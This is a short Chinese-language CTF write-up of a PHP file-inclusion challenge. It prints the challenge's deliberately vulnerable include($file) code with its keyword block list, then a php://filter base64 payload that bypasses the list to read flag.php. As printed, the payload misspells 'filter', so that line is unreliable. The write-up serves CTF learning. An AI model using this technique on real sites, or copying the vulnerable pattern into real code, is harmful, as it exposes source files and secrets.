查看源码:
出现了两个跳转。
Archive_room.php
end.php
输入flag.php
没有,我们分别抓包看看。
出现了新得页面,secr3t.php
访问发现:
哦?代码审计吗
<?php
highlight_file(__FILE__);
// highlight_file() 函数对文件进行语法高亮显示。
error_reporting(0);
// 关闭错误报告
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
//过滤字符: ../ tp input data 则输出 Oh no!
echo "Oh no!";
exit();
}
include($file);
//文件包含
//flag放在了flag.php里
?>
没有过滤php file 伪协议,我们试试payload:
base64解密得:
和之前得文件包含题型一样,只不过这回存在过滤字符。
payload: ?file=php://flter/read=convert.base64-encode/resource=flag.php
ok!